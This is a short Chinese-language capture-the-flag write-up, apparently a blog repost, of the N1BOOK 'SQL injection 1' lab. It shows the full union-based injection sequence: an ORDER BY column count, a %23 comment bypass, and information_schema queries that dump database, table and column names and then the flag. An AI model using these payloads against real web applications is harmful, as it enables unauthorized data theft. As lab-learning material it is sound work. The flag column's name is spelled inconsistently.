【N1BOOK】[第一章 web入门],sql注入1wp

  1. 先判断为字符型注入

?id = 2-1 无显示
?id=1a 返回正常

在mysql中,等号两边如果类型不一致,则会发生强制转换。
当字符型和数字型数据比较,字符型将被强制性转换为数字
字符串“1a” 被强制性转换为1。
  1. id后面输入1到3,返回正常,直到输入4,无回显,推测有三列

1’ order by 1,2,3%23

  1. 发现#被过滤,采用url对应编码%23
    或者
    用–+,也可以用作注释

  2. 继续查注入点

id=a’ union select 1,2,3%27

在这里插入图片描述

id=a’ union select 1,2,group_concat(schema_name) from information_schema.schemata%23

在这里插入图片描述
这里有个疑问为什么不能??
1,group_concat(schema_name) from information_schema.schemata,3%23

  • 找库名

  • 找表名
    ?id=a' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='note'%23

  • 找字段名
    ?id=a' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g'%23

  • 得到字段名fllllg后,继续爆破
    ?id=a' union select 1,2,group_concat(concat_ws(0x23,fllllag)) from note.fl4g%23

得到flag

猜你喜欢

转载自blog.csdn.net/weixin_51325053/article/details/120987406